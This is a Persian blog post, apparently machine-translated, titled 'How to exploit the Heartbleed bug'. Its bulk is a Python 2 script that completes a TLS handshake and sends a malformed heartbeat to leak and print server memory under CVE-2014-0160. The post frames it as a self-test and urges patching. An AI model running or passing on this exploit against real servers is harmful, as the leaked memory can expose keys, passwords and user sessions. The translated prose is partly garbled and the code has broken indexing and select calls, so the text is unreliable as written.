وبلاگ رسانگار
با ما حرفه ای باشید

سرور مجازی NVMe

چگونه از اشکال Heartbleed سوء استفاده کنیم

0 5

سرفصلهای مطلب

زمان لازم برای مطالعه: 3 دقیقه


ابتدا توضیح دادیم که چگونه کار می کند و اکنون به لطف جرد استافوردstbnps روی GitHub برای توضیحات) ما می توانیم به شما نشان دهیم که چگونه از آن بهره برداری کنید. Heartbleed یک باگ ساده است و بنابراین یک باگ ساده برای سوء استفاده است. همانطور که در زیر می بینید، فقط یک تک آهنگ طول می کشد page پایتون برای سوء استفاده از این باگ.

قبل از اینکه به کد بپردازیم، در اینجا چند لینک مرجع برای کمک به درک پروتکل SSL وجود دارد:

کد





  
import sys
import struct
import socket
import time
import select
from optparse import OptionParser
  

helloPacket = (
'16 03 02 00 31'    
'01 00 00 2d'       

'03 02'             


'50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96'
'00'                
'00 04 '            
'00 33 c0 11'       
'01'                
'00'                
'00 00'             
).replace(' ', '').decode('hex')


















heartbleedPacket = (
'18 03 02 00 03'    
'01 FF FF'          
                    
).replace(' ', '').decode('hex')


options = OptionParser(usage='%prog server (options)', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')


def dump(s):
    packetData = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in s)
    print '%s' % (packetData)
    
  
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        
        r, w, e = select.select((s), (), (), 5)
        if s in r:
            data = s.recv(remain)
            
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
          






def receiveTLSMessage(s, fragments = 1):
    contentType = None
    version = None
    length = None
    payload = ''

    
    for fragmentIndex in range(0, fragments):
        tlsHeader = recvall(s, 5) 

        if tlsHeader is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return contentType, version, payload 

        contentType, version, length = struct.unpack('>BHH', tlsHeader) 
        payload_tmp = recvall(s, length, 5) 

        if payload_tmp is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return contentType, version, payload 

        print 'Received message: type = %d, ver = %04x, length = %d' % (contentType, version, len(payload_tmp))

        payload = payload + payload_tmp

    return contentType, version, payload
    

def exploit(s):
    s.send(heartbleedPacket)
    
    
    contentType, version, payload = receiveTLSMessage(s, 4)
    if contentType is None:
        print 'No heartbeat response received, server likely not vulnerable'
        return False

    if contentType == 24:
        print 'Received heartbeat response:'
        dump(payload)
        if len(payload) > 3:
            print 'WARNING: server returned more data than it should - server is vulnerable!'
        else:
            print 'Server processed malformed heartbeat, but did not return any extra data.'
        return True

    if contentType == 21:
        print 'Received alert:'
        dump(payload)
        print 'Server returned error, likely not vulnerable'
        return False
  
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args(0), opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(helloPacket)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    
    while True:
        contentType, version, payload = receiveTLSMessage(s)
        if contentType == None:
            print 'Server closed connection without sending Server Hello.'
            return
        
        if contentType == 22 and ord(payload(0)) == 0x0E:
            break
  
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    
    
    exploit(s)
  
if __name__ == '__main__':
    main()

اکنون می‌توانید از این اسکریپت برای آزمایش یکی از سرورهای خود برای باگ استفاده کنید، یا می‌توانید از یکی از بسیاری از سرورها استفاده کنید. آزمایش کننده های آنلاین بیرون وجود دارد. اگرچه، به خاطر داشته باشید که این اسکریپت برای تست سرورهایی که با اینترنت مواجه نیستند و توسط یک تستر آنلاین قابل دسترسی نیستند، خوب است.

حتی اگر فکر نمی‌کنید که این اشکال را دارید، یا سرور شما عمومی نیست، به هر حال آن را وصله کنید!

منابع

(برچسب‌ها به ترجمه)# python



منتشر شده در 1403-01-30 16:31:04

امتیاز شما به این مطلب
دیدگاه شما در خصوص مطلب چیست ؟

آدرس ایمیل شما منتشر نخواهد شد.

لطفا دیدگاه خود را با احترام به دیدگاه های دیگران و با توجه به محتوای مطلب درج کنید